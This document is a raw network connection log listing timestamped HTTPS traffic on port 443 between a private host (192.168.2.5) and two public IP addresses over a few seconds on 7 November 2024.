Nov 7, 2024 23:47:39.479526043 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.479537964 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.526962042 CET	443	49836	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.527098894 CET	443	49836	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.527214050 CET	49836	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.527237892 CET	49836	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.527245998 CET	443	49836	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.527266026 CET	49836	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.527270079 CET	443	49836	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.529784918 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.529809952 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.529881001 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.530000925 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.530011892 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.605952024 CET	443	49837	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.606093884 CET	443	49837	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.607507944 CET	49837	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.607537985 CET	49837	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.607553959 CET	443	49837	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.607563019 CET	49837	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.607568026 CET	443	49837	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.609790087 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.609823942 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.609996080 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.610153913 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.610168934 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.777510881 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.778317928 CET	49838	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.778340101 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.779026031 CET	49838	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.779031038 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.836503983 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.836525917 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.836564064 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.836621046 CET	49835	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.836630106 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.836666107 CET	49835	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.838089943 CET	49835	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.838089943 CET	49835	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.838104010 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.838223934 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.838255882 CET	443	49835	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.839344978 CET	49835	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.887537956 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.887578964 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.887660980 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.887825012 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:39.887839079 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:39.905653000 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.906141043 CET	49840	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.906172037 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.906467915 CET	49840	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.906474113 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.910325050 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.910751104 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.910979033 CET	49838	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.911017895 CET	49838	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.911029100 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.911037922 CET	49838	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.911043882 CET	443	49838	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.913288116 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.913310051 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.913378954 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.913481951 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.913492918 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.935425997 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.935779095 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.935817003 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:39.936247110 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:39.936249971 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.036024094 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.036098003 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.036251068 CET	49840	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.036279917 CET	49840	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.036279917 CET	49840	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.036294937 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.036303043 CET	443	49840	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.038428068 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.038459063 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.038535118 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.038664103 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.038678885 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.072890997 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.073067904 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.073230028 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.073230028 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.073230982 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.074906111 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.074927092 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.074992895 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.075114012 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.075124979 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.288171053 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.290867090 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.290888071 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.291203976 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.291208029 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.357048035 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.380896091 CET	49839	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.380923033 CET	443	49839	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.405473948 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.406558990 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.406569004 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.407040119 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.407044888 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.423404932 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.423530102 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.423655033 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.423809052 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.423827887 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.423842907 CET	49841	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.423847914 CET	443	49841	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.534041882 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.534193039 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.534368992 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.609472990 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.609472990 CET	49842	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.609497070 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.609507084 CET	443	49842	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.622514963 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.622553110 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.622617960 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.622903109 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.622912884 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.624222994 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.624267101 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.624322891 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.624428034 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.624444962 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.674027920 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.675707102 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.675729036 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.676198959 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.676203012 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.778637886 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.778973103 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.778985977 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.779406071 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.779409885 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.801985979 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.802356005 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.802371025 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.802771091 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.802776098 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.804332972 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.804703951 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.804764032 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.804842949 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.804842949 CET	49844	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.804855108 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.804862976 CET	443	49844	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.807928085 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.807960033 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.808017015 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.808124065 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.808135986 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.909739971 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.909785986 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.909998894 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.910023928 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.910032988 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.910043001 CET	49845	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.910047054 CET	443	49845	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.912519932 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.912565947 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.912631989 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.912827969 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.912843943 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.930413961 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.930636883 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.930689096 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.930723906 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.930723906 CET	49846	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.930731058 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.930737019 CET	443	49846	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.932614088 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.932626963 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.932698011 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.932817936 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:40.932826996 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:40.959297895 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:40.959716082 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:40.959748983 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:40.960380077 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:40.960386038 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:40.960447073 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:40.960454941 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.350306034 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.350775003 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.350802898 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.351078033 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351099968 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351149082 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351191044 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.351210117 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351222038 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.351239920 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.351244926 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.351639986 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.351660013 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351670980 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.351782084 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351808071 CET	443	49843	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.351856947 CET	49843	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.363164902 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.363807917 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.363838911 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.364228964 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.364234924 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.403728962 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.403755903 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.403985023 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.404117107 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:41.404126883 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:41.482125044 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.482167006 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.482261896 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.482685089 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.482698917 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.482736111 CET	49848	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.482744932 CET	443	49848	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.485563993 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.485586882 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.485706091 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.485811949 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.485824108 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.556205988 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.556571007 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.556602001 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.557184935 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.557192087 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.662578106 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.662585974 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.664748907 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.664767027 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.665131092 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.665163040 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.665333033 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.665335894 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.665767908 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.665774107 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.692023993 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.692567110 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.692636013 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.695065022 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.695065022 CET	49849	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.695080042 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.695089102 CET	443	49849	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.698645115 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.698683977 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.698760033 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.699141026 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.699156046 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.794286013 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796073914 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796138048 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796164036 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796164989 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796183109 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796194077 CET	49850	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796199083 CET	443	49850	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796228886 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796278000 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796389103 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796395063 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.796423912 CET	49851	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.796427965 CET	443	49851	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.798841953 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.798866987 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.798876047 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.798892975 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.798937082 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.798957109 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.799087048 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.799087048 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:41.799098969 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:41.799109936 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.152848959 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.152918100 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.153131008 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.153172016 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.153172016 CET	49847	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.153191090 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.153208971 CET	443	49847	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.155638933 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.155669928 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.155738115 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.155891895 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.155904055 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.215121984 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.216463089 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.216478109 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.216819048 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.216824055 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.350641012 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.352330923 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.352380037 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.352417946 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.352431059 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.352440119 CET	49853	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.352444887 CET	443	49853	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.354768038 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.354789019 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.355424881 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.355572939 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.355596066 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.437422991 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.438452959 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.438477993 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.438920975 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.438925982 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.463849068 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.464489937 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.464509010 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.465270996 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.465276957 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.465306997 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.465315104 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.522247076 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.522605896 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.522623062 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.523016930 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.523027897 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.526340008 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.526870966 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.526881933 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.528023005 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.528027058 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.567126989 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.567373037 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.567444086 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.567706108 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.567706108 CET	49854	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.567720890 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.567730904 CET	443	49854	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.570014000 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.570031881 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.570111990 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.570242882 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.570252895 CET	443	49859	13.107.246.45	192.168.2.5
